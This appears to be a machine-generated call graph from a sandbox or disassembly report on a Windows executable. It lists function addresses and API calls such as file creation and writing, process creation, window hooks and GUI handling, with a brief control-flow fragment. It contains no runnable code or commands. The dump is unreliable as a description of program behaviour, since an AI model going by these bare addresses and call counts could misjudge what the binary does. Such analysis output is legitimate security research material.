67847->67778 67860 48fb11 ctype 67848->67860 67849 48fe15 67862 492160 67849->67862 67855 481438 6 API calls 67855->67860 67858 48fd38 lstrlenA 67858->67860 67859 48376e 6 API calls 67859->67860 67860->67849 67860->67855 67860->67858 67860->67859 67878 481dcf 29 API calls ctype 67860->67878 67879 4830d4 48 API calls 67860->67879 67863 492173 67862->67863 67864 48fe22 67863->67864 67865 491be9 ctype 31 API calls 67863->67865 67868 483083 67864->67868 67866 49218a ctype 67865->67866 67880 491ce4 32 API calls ctype 67866->67880 67881 48a8ab 67868->67881 67872 4830ba 67873 4921af 67872->67873 67892 491d25 67873->67892 67875 4921b7 67876 48fe3b 67875->67876 67877 4921c0 lstrlenA 67875->67877 67876->67762 67877->67876 67878->67860 67879->67860 67880->67864 67882 4830b0 67881->67882 67886 48a8d3 __aulldiv __aullrem ctype 67881->67886 67882->67872 67890 48c84a 44 API calls 67882->67890 67883 48b049 44 API calls 67883->67886 67884 4820a7 ctype 29 API calls 67884->67886 67886->67882 67886->67883 67886->67884 67887 48b0af 44 API calls 67886->67887 67888 48e566 39 API calls 67886->67888 67889 48b07e 44 API calls 67886->67889 67891 481fbe 29 API calls ctype 67886->67891 67887->67886 67888->67886 67889->67886 67890->67872 67891->67886 67893 491d31 67892->67893 67894 491d40 ctype 67892->67894 67898 491cb3 32 API calls ctype 67893->67898 67894->67875 67896 491d36 67897 491be9 ctype 31 API calls 67896->67897 67897->67894 67898->67896 67900 480196 ctype 29 API calls 67899->67900 67901 4801ea 67900->67901 67902 491abd ctype 29 API calls 67901->67902 67903 4801f4 lstrcpyA FindFirstFileA 67902->67903 67905 480238 67903->67905 67906 480226 GetLastError 67903->67906 67947 4921d7 67905->67947 67907 480196 ctype 29 API calls 67906->67907 67909 480235 SetLastError 67907->67909 67924 468db7 67909->67924 67913 480255 67914 48027b 67913->67914 67915 48025d 67913->67915 67916 482777 29 API calls 67914->67916 67917 4921af 35 API calls 67915->67917 67918 480283 67916->67918 67919 480268 67917->67919 67920 482777 29 API calls 67918->67920 67921 480196 ctype 29 API calls 67919->67921 67922 48028d 67920->67922 67921->67909 67923 4921af 35 API calls 67922->67923 67923->67924 67924->67786 67924->67787 67926 4801a6 67925->67926 67927 4801a0 67925->67927 67930 468dce 67926->67930 67952 491ae6 29 API calls ctype 67926->67952 67951 491ae6 29 API calls ctype 67927->67951 67930->67792 67930->67793 67932 491dfe 67931->67932 67933 491e11 ctype 67931->67933 67934 491e08 67932->67934 67935 491e13 lstrlenA 67932->67935 67933->67799 67953 4975b8 66 API calls ctype 67934->67953 67935->67933 67937 491e20 67935->67937 67938 491be9 ctype 31 API calls 67937->67938 67938->67933 67939->67817 67940->67798 67941->67820 67942->67798 67943->67797 67944->67804 67945->67805 67946->67804 67948 492160 34 API calls 67947->67948 67949 48024b 67948->67949 67950 484ae9 40 API calls 2 library calls 67949->67950 67950->67913 67951->67926 67952->67930 67953->67933 67955 481645 67954->67955 67956 481657 67954->67956 67968 483130 44 API calls ctype 67955->67968 67969 488384 29 API calls ctype 67956->67969 67959 481650 67959->67835 67960 4817a6 67971 4883e5 LeaveCriticalSection 67960->67971 67961 489284 9 API calls 67966 48165e 67961->67966 67962 481797 67970 4883e5 LeaveCriticalSection 67962->67970 67963 4817b9 67972 4883e5 LeaveCriticalSection 67963->67972 67966->67960 67966->67961 67966->67962 67966->67963 67968->67959 67969->67966 67970->67959 67971->67959 67972->67959 67974 4987d9 __EH_prolog 67973->67974 67975 4987f9 GetWindowDC 67974->67975 67989 497e83 67975->67989 67978 40cbe1 GetClientRect GetWindowRect 67980 498589 ScreenToClient ScreenToClient 67978->67980 67998 495fe1 67980->67998 67982 40cc13 OffsetRect 67983 4984c6 67982->67983 67984 4984ed 67983->67984 67985 4984df ExcludeClipRect 67983->67985 67986 40cc3c OffsetRect 67984->67986 67987 4984f4 ExcludeClipRect 67984->67987 67985->67984 67986->67656 67986->67657 67987->67986 67988->67661 67990 497e93 67989->67990 67994 497e8f 67989->67994 67996 497dfc 57 API calls 2 library calls 67990->67996 67992 497e9a 67997 49173e 29 API calls ctype 67992->67997 67994->67978 67995 498aca RaiseException ctype 67994->67995 67996->67992 67997->67994 67999 495fe8 GetWindowLongA 67998->67999 68000 495ff4 67998->68000 67999->67982 68002 49888d __EH_prolog 68001->68002 68003 498899 BeginPaint 68002->68003 68004 497e83 57 API calls 68003->68004 68005 4988bf 68004->68005 68006 40ef9b 68005->68006 68052 498aca RaiseException ctype 68005->68052 68008 498434 GetClipBox 68006->68008 68008->67666 68010 4989d3 68009->68010 68014 40f121 68009->68014 68053 49893c 57 API calls 2 library calls 68010->68053 68012 4989da 68054 49173e 29 API calls ctype 68012->68054 68015 498444 SelectClipRgn SelectClipRgn 68014->68015 68015->67676 68017 40f309 68016->68017 68018 49412d GetWindowTextLengthA 68016->68018 68017->67693 68017->67694 68019 4921d7 34 API calls 68018->68019 68020 494144 GetWindowTextA 68019->68020 68021 4921af 35 API calls 68020->68021 68021->68017 68022->67681 68023->67692 68024->67707 68025->67669 68026->67696 68027->67678 68029 40ab03 68028->68029 68030 40aafb GetSysColor 68028->68030 68031 40f620 109 API calls __ftol 68029->68031 68030->68029 68031->67677 68032->67705 68033->67714 68034->67717 68035->67721 68036->67677 68037->67704 68038->67680 68039->67715 68040->67722 68041->67726 68042->67726 68043->67728 68044->67734 68045->67738 68046->67742 68047->67740 68048->67744 68049->67746 68050->67668 68051->67672 68053->68012 68054->68014 68055->67753 68056->67755 68057->67758 68058 47fcca DrawTextA 68059 41a450 68065 41a467 68059->68065 68060 41a474 PeekMessageA 68060->68065 68061 41a585 68062 41a49d IsWindow 68062->68065 68063 40a5e0 7 API calls 68063->68065 68064 41a571 PeekMessageA 68064->68065 68065->68060 68065->68061 68065->68062 68065->68063 68065->68064 68066 4807da GetVersion 68098 485cc2 HeapCreate 68066->68098 68068 480838 68069 48083d 68068->68069 68070 480845 68068->68070 68118 480907 8 API calls ctype 68069->68118 68110 485a7f 37 API calls __startOneArgErrorHandling 68070->68110 68074 48084a 68075 48084e 68074->68075 68076 480856 68074->68076 68119 480907 8 API calls ctype 68075->68119 68111 4858c3 34 API calls ctype 68076->68111 68079 480860 GetCommandLineA 68112 485791 37 API calls ctype 68079->68112 68082 480870 68120 485544 49 API calls ctype 68082->68120 68084 48087a 68113 48548b 48 API calls ctype 68084->68113 68086 48087f 68087 480884 GetStartupInfoA 68086->68087 68114 485433 48 API calls 68087->68114 68089 480896 68090 48089f 68089->68090 68091 4808a8 GetModuleHandleA 68090->68091 68115 48f87e 68091->68115 68095 4808c3 68122 4852bb 36 API calls __startOneArgErrorHandling 68095->68122 68097 4808d4 68099 485d18 68098->68099 68100 485ce2 68098->68100 68099->68068 68123 485b7a 57 API calls 68100->68123 68102 485ce7 68103 485cfe 68102->68103 68104 485cf1 68102->68104 68105 485d1b 68103->68105 68125 48a10c 5 API calls ctype 68103->68125 68124 4895c5 HeapAlloc 68104->68124 68105->68068 68107 485cfb 68107->68105 68109 485d0c HeapDestroy 68107->68109 68109->68099 68110->68074 68111->68079 68112->68082 68113->68086 68114->68089 68126 497d56 68115->68126 68120->68084 68121 484588 32 API calls 68121->68095 68122->68097 68123->68102 68124->68107 68125->68107 68138 496ac0 68126->68138 68129 49b2c5 ctype 28 API calls 68130 497d68 68129->68130 68143 49c0bb SetErrorMode SetErrorMode 68130->68143 68134 4808ba 68134->68121 68135 497d9d 68158 49c756 60 API calls ctype 68135->68158 68136 491be9 31 API calls 68136->68135 68139 49b2eb ctype 28 API calls 68138->68139 68140 496ac5 68139->68140 68141 496ad1 68140->68141 68142 49b2c5 ctype 28 API calls 68140->68142 68141->68129 68142->68141 68144 49b2c5 ctype 28 API calls 68143->68144 68145 49c0d2 68144->68145 68146 49b2c5 ctype 28 API calls 68145->68146 68147 49c0e1 68146->68147 68148 49c107 68147->68148 68159 49c11e 68147->68159 68150 49b2c5 ctype 28 API calls 68148->68150 68151 49c10c 68150->68151 68152 497d80 68151->68152 68178 496ad5 68151->68178 68152->68135 68152->68136 68154 407e9c 68152->68154 68155 407ea6 68154->68155 68201 4070bc GetPEB 68155->68201 68157 407ec5 68157->68135 68158->68134 68160 49b2c5 ctype 28 API calls 68159->68160 68161 49c131 GetModuleFileNameA 68160->68161 68162 482777 29 API calls 68161->68162 68163 49c163 68162->68163 68189 49c23b lstrlenA lstrcpynA 68163->68189 68165 49c17f 68166 49c195 68165->68166 68194 483c71 29 API calls ctype 68165->68194 68168 49c1cf 68166->68168 68190 49763c 68166->68190 68170 49c202 68168->68170 68171 49c1e7 lstrcpyA 68168->68171 68172 49c211 lstrcatA 68170->68172 68173 49c22f 68170->68173 68196 483c71 29 API calls ctype 68171->68196 68197 483c71 29 API calls ctype 68172->68197 68173->68148 68179 49b2c5 ctype 28 API calls 68178->68179 68180 496ada 68179->68180 68187 496b32 68180->68187 68198 49b098 68180->68198 68183 49b8e2 ctype 7 API calls 68184 496b10 68183->68184 68185 49b2c5 ctype 28 API calls 68184->68185 68188 496b1d 68184->68188 68185->68188 68186 49b84d ctype 21 API calls 68186->68187 68187->68152 68188->68186 68189->68165 68191 49b2c5 ctype 28 API calls 68190->68191 68192 497642 LoadStringA 68191->68192 68193 49765d 68192->68193 68195 483c71 29 API calls ctype 68193->68195 68194->68166 68195->68168 68196->68170 68197->68173 68199 49b84d ctype 21 API calls 68198->68199 68200 496ae6 GetCurrentThreadId SetWindowsHookExA 68199->68200 68200->68183 68201->68157 68202 49605d 68203 496073 68202->68203 68204 496064 SetWindowTextA 68202->68204 68204->68203 68205 494fdd 68206 49b84d ctype 21 API calls 68205->68206 68207 494fef 68206->68207 68210 4950ae 68207->68210 68211 4950b8 SendMessageA 68210->68211 68212 4950f3 68210->68212 68214 4950d9 68211->68214 68216 495109 68212->68216 68215 495006 68214->68215 68217 49511c 68216->68217 68221 495188 68216->68221 68218 49511e 68217->68218 68219 495160 68217->68219 68220 49519d 68218->68220 68223 4951b3 68218->68223 68228 495131 68218->68228 68232 49675b 68219->68232 68236 4945ff 71 API calls 2 library calls 68220->68236 68221->68220 68221->68223 68222 49515b 68222->68215 68223->68222 68226 4951c1 68223->68226 68237 4945ff 71 API calls 2 library calls 68226->68237 68227 4951b1 68227->68222 68228->68223 68230 495136 68228->68230 68231 49675b 28 API calls 68230->68231 68231->68222 68233 49676b 68232->68233 68235 496770 68232->68235 68234 49b2c5 ctype 28 API calls 68233->68234 68234->68235 68235->68222 68236->68227 68237->68227 68238 49c35f 68243 49c369 68238->68243 68240 49c364 68251 4823fb 35 API calls 68240->68251 68242 49c37d 68244 49c3db GetVersion 68243->68244 68245 49c41c GetProcessVersion 68244->68245 68246 49c42e 68244->68246 68245->68246 68252 497cfe KiUserCallbackDispatcher GetSystemMetrics 68246->68252 68248 49c435 68259 497cba 7 API calls 68248->68259 68250 49c43f LoadCursorA LoadCursorA 68250->68240 68251->68242 68253 497d1d 68252->68253 68254 497d24 68252->68254 68260 49c389 GetSystemMetrics GetSystemMetrics 68253->68260 68261 49c3b9 GetSystemMetrics GetSystemMetrics 68254->68261 68257 497d22 68258 497d29 RtlAllocateHeap GetDeviceCaps GetDeviceCaps ReleaseDC 68257->68258 68258->68248 68259->68250 68260->68257 68261->68258 68262 4691d0 68263 4691df CreateThread 68262->68263 68265 469214 68263->68265 68266 469223 CloseHandle 68263->68266 68268 40699f 68263->68268 68265->68266 68267 46921b 68265->68267 68271 4062d1 68268->68271 68270 4069a7 68272 4062ff 68271->68272 68273 4063bb 68272->68273 68275 423010 68272->68275 68273->68270 68280 409990 68275->68280 68288 49264d SetFilePointer 68275->68288 68292 492697 68275->68292 68276 423031 68276->68273 68281 4099cc 68280->68281 68282 409a35 68281->68282 68283 49230e 23 API calls 68281->68283 68282->68276 68284 4099e5 68283->68284 68285 409a20 68284->68285 68300 4925d3 68284->68300 68307 49234c 23 API calls 68285->68307 68289 492672 68288->68289 68290 492664 GetLastError 68288->68290 68289->68276 68310 497157 36 API calls ctype 68290->68310 68293 4926b3 68292->68293 68294 4926a5 CloseHandle 68292->68294 68295 491d07 ctype 35 API calls 68293->68295 68294->68293 68296 4926c3 68295->68296 68297 4926c9 GetLastError 68296->68297 68298 4926d7 68296->68298 68311 497157 36 API calls ctype 68297->68311 68298->68276 68301 492618 68300->68301 68302 4925e1 WriteFile 68300->68302 68301->68284 68303 4925f8 GetLastError 68302->68303 68304 492607 68302->68304 68308 497157 36 API calls ctype 68303->68308 68304->68301 68309 497218 36 API calls 2 library calls 68304->68309 68307->68282 68308->68304 68310->68289 68311->68298 68312 4097a0 68315 409590 68312->68315 68314 4097b8 68316 4095c1 68315->68316 68317 4096f2 68316->68317 68318 409660 68316->68318 68319 4096a1 68316->68319 68317->68314 68321 491abd ctype 29 API calls 68318->68321 68320 491abd ctype 29 API calls 68319->68320 68322 4096ab 68320->68322 68324 409667 68321->68324 68322->68324 68339 424e60 wsprintfA 68322->68339 68326 49247c 68324->68326 68327 491d07 ctype 35 API calls 68326->68327 68328 4924a5 68327->68328 68340 4927a8 68328->68340 68331 491eb9 ctype 35 API calls 68332 4924c2 CreateFileA 68331->68332 68334 492562 68332->68334 68336 492586 68332->68336 68335 492569 GetLastError 68334->68335 68334->68336 68337 492578 ctype 68335->68337 68336->68317 68338 491eb9 ctype 35 API calls 68337->68338 68338->68336 68339->68324 68355 483ff4 68340->68355 68342 4927b2 GetFullPathNameA 68343 4927d5 lstrcpynA 68342->68343 68344 4927e7 68342->68344 68352 4924b4 68343->68352 68356 492878 68344->68356 68347 492818 68350 49281e CharUpperA 68347->68350 68351 492825 68347->68351 68348 492857 68349 491d7c ctype 32 API calls 68348->68349 68349->68352 68350->68351 68351->68348 68353 49282b FindFirstFileA 68351->68353 68352->68331 68353->68348 68354 492840 FindClose lstrcpyA 68353->68354 68354->68348 68355->68342 68357 492160 34 API calls 68356->68357 68358 49288a ctype 68357->68358 68359 492896 lstrcpynA 68358->68359 68361 4928a9 68359->68361 68360 4921af 35 API calls 68362 4927fe GetVolumeInformationA 68360->68362 68361->68360 68362->68347 68362->68348 68363 411420 68364 411429 68363->68364 68365 41142f 68363->68365 68366 411454 68365->68366 68367 411497 68365->68367 68370 411501 68365->68370 68372 411561 68365->68372 68374 4115c1 SendMessageA 68365->68374 68368 411479 68366->68368 68369 411463 68366->68369 68373 40aa70 3 API calls 68368->68373 68371 40aa70 3 API calls 68369->68371 68379 411536 68370->68379 68380 411538 SendMessageA 68370->68380 68375 41146f 68371->68375 68377 411596 68372->68377 68378 411598 SendMessageA 68372->68378 68376 41148d 68373->68376 68374->68367 68377->68378 68379->68380 68382 413020 68383 41309b 68382->68383 68384 413029 68382->68384 68384->68383 68385 413075 68384->68385 68386 413066 KillTimer 68384->68386 68385->68383 68387 41307c SetTimer 68385->68387 68386->68385 68388 41e3e0 68389 491abd ctype 29 API calls 68388->68389 68390 41e406 68389->68390 68391 41e41e 68390->68391 68450 41f860 CreateEventA 68390->68450 68393 40a980 39 API calls 68391->68393 68394 41e430 68391->68394 68395 41e449 68393->68395 68395->68394 68396 41e576 GetSystemMetrics GetSystemMetrics 68395->68396 68397 41e550 68395->68397 68396->68397 68427 41e790 68397->68427 68400 493cb4 32 API calls 68401 41e661 68400->68401 68402 41e665 68401->68402 68403 41e67b 68401->68403 68402->68394 68404 41e66d DestroyMenu 68402->68404 68436 41e830 GetWindowLongA SetWindowLongA SetWindowPos GetWindowLongA 68403->68436 68404->68394 68406 41e682 GetWindowRect 68407 41e69f 68406->68407 68408 41e6c2 68407->68408 68451 49609f MoveWindow 68407->68451 68437 41e2c0 68408->68437 68412 41e6dc GetStockObject 68453 4989ae 57 API calls 68412->68453 68415 41e6ea 68416 41e6f1 SendMessageA 68415->68416 68417 41e6ee 68415->68417 68418 41e709 SetWindowPos 68416->68418 68419 41e71f 68416->68419 68417->68416 68418->68419 68420 41e726 GetSystemMenu 68419->68420 68421 41e74d 68419->68421 68454 4970e4 57 API calls ctype 68420->68454 68455 41e200 77 API calls 68421->68455 68424 41e738 68424->68421 68426 41e73c DeleteMenu 68424->68426 68425 41e753 68425->68394 68426->68421 68428 49b2c5 ctype 28 API calls 68427->68428 68429 41e79b GetClassInfoA 68428->68429 68431 41e7c2 LoadCursorA GetStockObject 68429->68431 68432 41e651 68429->68432 68456 4942f8 32 API calls 2 library calls 68431->68456 68432->68400 68434 41e815 68434->68432 68457 498aca RaiseException ctype 68434->68457 68436->68406 68438 41e2d4 68437->68438 68458 424540 68438->68458 68440 41e2ed 68441 424540 65 API calls 68440->68441 68448 41e2fa 68441->68448 68442 41e352 SendMessageA SendMessageA 68443 41e38c DestroyIcon 68442->68443 68444 41e38f 68442->68444 68443->68444 68445 41e399 DestroyIcon 68444->68445 68446 41e39c 68444->68446 68445->68446 68446->68412 68452 41fe40 80 API calls ctype 68446->68452 68447 41e348 68447->68442 68448->68442 68448->68447 68474 41b800 68448->68474 68450->68391 68451->68408 68452->68412 68453->68415 68454->68424 68455->68425 68456->68434 68459 42461c 68458->68459 68460 424569 68458->68460 68459->68440 68460->68459 68478 42b300 55 API calls ctype 68460->68478 68462 4245a2 68463 42460b 68462->68463 68464 4245a8 68462->68464 68482 4994f3 39 API calls 2 library calls 68463->68482 68466 4245c0 DestroyIcon 68464->68466 68467 4245ca 68464->68467 68466->68467 68468 4245d7 68467->68468 68479 491ae6 29 API calls ctype 68467->68479 68480 491ae6 29 API calls ctype 68468->68480 68471 4245e3 68481 4994f3 39 API calls 2 library calls 68471->68481 68473 4245f7 68473->68440 68475 41b82f 68474->68475 68476 41b814 GetModuleHandleA 68474->68476 68475->68447 68483 424c10 LoadImageA LoadImageA 68476->68483 68478->68462 68479->68468 68480->68471 68481->68473 68482->68459 68483->68475 68484 4112a0 68485 491abd ctype 29 API calls 68484->68485 68486 4112bf 68485->68486 68487 411301 68486->68487 68488 40a980 39 API calls 68486->68488 68489 4112fd 68488->68489 68489->68487 68500 495bae 68489->68500 68492 493cb4 32 API calls 68493 41138a 68492->68493 68493->68487 68494 4113a5 68493->68494 68495 4113a7 SendMessageA 68493->68495 68494->68495 68497 4113d8 SendMessageA 68495->68497 68498 40aa70 3 API calls 68497->68498 68499 411403 68498->68499 68501 49b2c5 ctype 28 API calls 68500->68501 68503 495bb9 ctype 68501->68503 68502 411337 68502->68492 68503->68502 68504 49b2c5 ctype 28 API calls 68503->68504 68505 495bf1 68504->68505 68506 495c22 68505->68506 68555 4942f8 32 API calls 2 library calls 68505->68555 68513 495c43 68506->68513 68556 4942f8 32 API calls 2 library calls 68506->68556 68511 495c90 68512 495cbd 68511->68512 68559 495af6 34 API calls ctype 68511->68559 68516 495cc9 68512->68516 68517 495ce6 68512->68517 68514 495c6a 68513->68514 68557 4942f8 32 API calls 2 library calls 68513->68557 68514->68511 68558 495af6 34 API calls ctype 68514->68558 68560 495b37 6 API calls 68516->68560 68518 495cde 68517->68518 68519 495d00 68517->68519 68518->68517 68561 495b37 6 API calls 68518->68561 68522 495d1d 68519->68522 68523 495cfe 68519->68523 68525 495d1b 68522->68525 68526 495d36 68522->68526 68523->68519 68562 495b37 6 API calls 68523->68562 68525->68522 68563 495b37 6 API calls 68525->68563 68528 495d34 68526->68528 68529 495d53 68526->68529 68528->68526 68564 495b37 6 API calls 68528->68564 68530 495d51 68529->68530 68531 495d70 68529->68531 68530->68529 68565 495b37 6 API calls 68530->68565 68534 495d6e 68531->68534 68535 495d8d 68531->68535 68534->68531 68566 495b37 6 API calls 68534->68566 68537 495daa 68535->68537 68538 495d8b 68535->68538 68540 495da8 68537->68540 68541 495dc7 68537->68541 68538->68535 68567 495b37 6 API calls 68538->68567 68540->68537 68568 495b37 6 API calls 68540->68568 68542 495dc5 68541->68542 68543 495de0 68541->68543 68542->68541 68569 495b37 6 API calls 68542->68569 68546 495df9 68543->68546 68547 495dde 68543->68547 68549 495df7 68546->68549 68550 495e16 68546->68550 68547->68543 68570 495b37 6 API calls 68547->68570 68549->68546 68571 495b37 6 API calls 68549->68571 68550->68502 68552 495e14 68550->68552 68552->68550 68572 495b37 6 API calls 68552->68572 68554 495e31 68554->68502 68555->68506 68556->68513 68557->68514 68558->68511 68559->68512 68560->68518 68561->68523 68562->68525 68563->68528 68564->68530 68565->68534 68566->68538 68567->68540 68568->68542 68569->68547 68570->68549 68571->68552 68572->68554 68573 49612f 68574 496145 68573->68574 68575 496136 ShowWindow 68573->68575 68575->68574 68576 40b430 68577 491abd ctype 29 API calls 68576->68577 68579 40b452 68577->68579 68578 40b494 68579->68578 68580 40a980 39 API calls 68579->68580 68581 40b490 68580->68581 68581->68578 68582 40aaf0 GetSysColor 68581->68582 68583 40b574 CreateSolidBrush 68582->68583 68584 4989c3 57 API calls 68583->68584 68585 40b58a 68584->68585 68586 493cb4 32 API calls 68585->68586 68587 40b5c5 68586->68587 68587->68578 68607 40b770 68587->68607 68590 40b5f2 SendMessageA 68592 40b611 SendMessageA 68590->68592 68595 40b623 68590->68595 68592->68595 68593 40b70f SendMessageA SendMessageA 68594 40aa70 3 API calls 68593->68594 68596 40b743 68594->68596 68595->68593 68597 495bae 40 API calls 68595->68597 68598 40b65b 68597->68598 68599 493cb4 32 API calls 68598->68599 68601 40b68c 68599->68601 68600 40b690 68600->68593 68601->68600 68602 40b6cc SendMessageA 68601->68602 68603 40b702 68602->68603 68604 40b6f9 68602->68604 68640 40d6d0 66 API calls 68603->68640 68639 496171 EnableWindow 68604->68639 68608 40b7a6 68607->68608 68609 40b79a 68607->68609 68641 49871b 68608->68641 68609->68608 68654 498a1a 58 API calls 68609->68654 68612 40b7e7 68657 497fdb 60 API calls 68612->68657 68615 40b7f2 GetTextExtentPoint32A GetSystemMetrics 68617 40b832 68615->68617 68618 40b83c GetWindowRect 68615->68618 68658 498017 59 API calls 68617->68658 68621 40b87e 68618->68621 68622 40b852 68618->68622 68619 40b7d0 68619->68612 68625 40b7d7 68619->68625 68623 40b890 GetStockObject 68621->68623 68624 40b882 68621->68624 68622->68621 68626 4960e0 SetWindowPos 68622->68626 68627 40b8a1 SendMessageA 68623->68627 68624->68627 68656 498017 59 API calls 68625->68656 68626->68621 68629 40b8c4 68627->68629 68630 40b8ae 68627->68630 68648 49878d 68629->68648 68632 4960e0 SetWindowPos 68630->68632 68631 40b7e3 68631->68615 68632->68629 68635 4960e0 68636 4960ea SetWindowPos 68635->68636 68637 49610f 68635->68637 68636->68637 68637->68590 68639->68603 68640->68600 68642 498725 __EH_prolog 68641->68642 68643 498745 GetDC 68642->68643 68644 497e83 57 API calls 68643->68644 68645 498757 68644->68645 68646 40b7b2 68645->68646 68659 498aca RaiseException ctype 68645->68659 68646->68612 68655 40ab10 59 API calls 68646->68655 68649 498797 __EH_prolog 68648->68649 68660 497eba 68649->68660 68654->68608 68655->68619 68656->68631 68657->68615 68658->68618 68661 497ec5 68660->68661 68663 497edb ReleaseDC 68660->68663 68671 497dfc 57 API calls 2 library calls 68661->68671 68666 497f01 68663->68666 68664 497ecc 68664->68663 68672 49178e 29 API calls ctype 68664->68672 68667 497f0b __EH_prolog 68666->68667 68668 40b5d5 68667->68668 68669 497eba ctype 57 API calls 68667->68669 68668->68590 68668->68635 68670 497f24 DeleteDC 68669->68670 68670->68668 68671->68664 68672->68663 68673 4080f0 68677 40811a CreateProcessA 68673->68677 68675 4081b1 68678 4081c7 WaitForInputIdle 68675->68678 68679 4081b8 WaitForSingleObject 68675->68679 68676 4081f7 68677->68675 68677->68676 68680 4081d7 CloseHandle CloseHandle 68678->68680 68679->68680 68681 4103f0 68682 491abd ctype 29 API calls 68681->68682 68683 410415 68682->68683 68684 410455 68683->68684 68685 40a980 39 API calls 68683->68685 68689 410451 68685->68689 68686 41058f 68687 493cb4 32 API calls 68686->68687 68688 4105c8 68687->68688 68688->68684 68690 4105d1 68688->68690 68689->68684 68689->68686 68710 42a120 133 API calls ctype 68689->68710 68714 40acd0 63 API calls 68690->68714 68693 4104e2 68693->68686 68697 49871b 58 API calls 68693->68697 68694 4105e2 68695 410618 68694->68695 68696 4105ea SendMessageA 68694->68696 68699 410634 68695->68699 68700 41061d SendMessageA 68695->68700 68698 4104fa GetSysColor 68697->68698 68711 42a200 52 API calls 2 library calls 68698->68711 68700->68699 68702 41051b 68703 410563 68702->68703 68704 410559 DestroyIcon 68702->68704 68709 410520 68702->68709 68706 410570 68703->68706 68712 491ae6 29 API calls ctype 68703->68712 68704->68703 68705 49878d ctype 59 API calls 68705->68686 68713 491ae6 29 API calls ctype 68706->68713 68709->68705 68710->68693 68711->68702 68712->68706 68713->68709 68714->68694 68715 412ef0 68716 491abd ctype 29 API calls 68715->68716 68717 412f0e 68716->68717 68718 412f3a 68717->68718 68719 40a980 39 API calls 68717->68719 68720 412f60 68719->68720 68721 412f64 68720->68721 68722 412fa4 GetStockObject LoadCursorA 68720->68722 68723 4244c0 33 API calls 68722->68723 68724 412ff1 68723->68724 68725 493cb4 32 API calls 68724->68725 68726 412ffe 68725->68726 68727 493a30 68728 49b84d ctype 21 API calls 68727->68728 68729 493a45 68728->68729 68730 493a4e CallNextHookEx 68729->68730 68731 493a65 68729->68731 68743 493c1d 68730->68743 68732 49b2c5 ctype 28 API calls 68731->68732 68733 493a75 68732->68733 68734 493aea 68733->68734 68735 493a9e GetClassLongA 68733->68735 68736 493b8d CallNextHookEx 68733->68736 68739 493b9b GetWindowLongA 68734->68739 68740 493af2 68734->68740 68735->68736 68737 493ab2 68735->68737 68736->68743 68744 493c10 UnhookWindowsHookEx 68736->68744 68741 493abf GlobalGetAtomNameA 68737->68741 68742 493ad6 lstrcmpiA 68737->68742 68739->68736 68746 493bab GetPropA 68739->68746 68760 49379d 58 API calls ctype 68740->68760 68741->68742 68742->68734 68742->68736 68744->68743 68746->68736 68747 493bbe SetPropA GetPropA 68746->68747 68747->68736 68748 493bd2 GlobalAddAtomA 68747->68748 68749 493bec SetWindowLongA 68748->68749 68750 493be7 68748->68750 68749->68736 68750->68749 68751 493b78 68752 493b7d SetWindowLongA 68751->68752 68752->68736 68753 493afa 68753->68751 68754 49358d 393 API calls 68753->68754 68755 493b3d 68754->68755 68755->68751 68756 493b44 68755->68756 68757 493b49 GetWindowLongA 68756->68757 68758 493b66 68757->68758 68758->68736 68759 493b6a SetWindowLongA 68758->68759 68759->68736 68760->68753 68761 497032 KiUserCallbackDispatcher 68762 49706c 68761->68762 68763 497049 68761->68763 68763->68762 68764 49705e TranslateMessage DispatchMessageA 68763->68764 68764->68762 68765 4939b4 68766 49b8e2 ctype 7 API calls 68765->68766 68769 4939c8 68766->68769 68767 493a12 68771 493a16 68767->68771 68772 493855 68767->68772 68769->68767 68799 495527 7 API calls 68769->68799 68800 483ff4 68772->68800 68774 49385f GetPropA 68775 49393f 68774->68775 68776 493892 68774->68776 68806 493758 58 API calls ctype 68775->68806 68778 49389b 68776->68778 68779 49391e 68776->68779 68782 4938fa SetWindowLongA RemovePropA GlobalFindAtomA GlobalDeleteAtom 68778->68782 68783 4938a0 68778->68783 68804 493758 58 API calls ctype 68779->68804 68781 493947 68807 493758 58 API calls ctype 68781->68807 68784 49395d CallWindowProcA 68782->68784 68783->68784 68787 4938ab 68783->68787 68791 4938e6 68784->68791 68785 493924 68805 493517 66 API calls 68785->68805 68801 493758 58 API calls ctype 68787->68801 68789 49394f 68808 4934b6 64 API calls 68789->68808 68791->68771 68792 493936 68795 493959 68792->68795 68794 4938b1 68802 49341a GetWindowRect GetWindowLongA 68794->68802 68795->68784 68795->68791 68797 4938c1 CallWindowProcA 68803 49343d 92 API calls 68797->68803 68799->68767 68800->68774 68801->68794 68802->68797 68803->68791 68804->68785 68805->68792 68806->68781 68807->68789 68808->68795

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 725 440f30-440f91 GetProcessHeap 726 440fa5-440fce GetModuleFileNameA call 482777 725->726 727 440f93-440f9b OleInitialize 725->727 730 440fd0-440fe9 call 491eb9 726->730 731 440feb-440ffe call 491d07 726->731 727->726 736 440fff-4410ac call 491eb9 SetCurrentDirectoryA call 42e7f0 * 3 LoadCursorA GetStockObject call 4244c0 call 493cb4 730->736 731->736 748 4410b1-4410c4 GetCurrentThreadId 736->748 749 4410e5-4410ed 748->749 750 4410c6-4410df 748->750 751 441193-44119d 749->751 752 4410f3-44113e call 40a460 * 4 749->752 750->749 754 4411ff-441205 751->754 755 44119f-4411a3 751->755 780 441140-44114b 752->780 781 441162-441166 752->781 756 441464-441474 754->756 757 44120b-4412cd call 409d30 call 49230e call 49946a call 4994b6 call 498c4b call 417710 call 498daf call 498d27 call 4994f3 call 49234c 754->757 759 4411a5-4411af 755->759 760 4411cd-4411fa call 40a460 * 2 755->760 803 4412d3-4412d6 757->803 804 4413ba-44145f call 416cd0 call 409f30 call 417650 call 409f30 * 2 757->804 764 4411b1-4411b6 759->764 765 4411c8-4411cb 759->765 760->754 764->765 769 4411b8-4411c2 764->769 765->759 765->760 769->765 784 44115d-441160 780->784 785 44114d-441155 780->785 781->751 786 441168-441173 781->786 784->780 784->781 785->784 788 441157-44115a 785->788 789 441175-441186 786->789 790 44118e-441191 786->790 788->784 789->790 792 441188-44118b 789->792 790->751 790->786 792->790 806 4412d9-4412e5 803->806 804->756 808 4413a4-4413b4 806->808 809 4412eb 806->809 808->804 808->806 810 4412ee-441305 call 416670 call 416d50 809->810 821 441307-44132c call 40a780 * 3 810->821 822 44133f-44137a call 40a780 * 3 810->822 839 441337-44133d 821->839 840 44132e-441335 821->840 837 44137c-441381 822->837 838 441398-44139e 822->838 841 441383-44138a 837->841 842 44138c 837->842 838->808 838->810 839->838 840->838 843 441392-441396 841->843 842->843 843->837 843->838
          APIs
          • GetProcessHeap.KERNEL32 ref: 00440F59
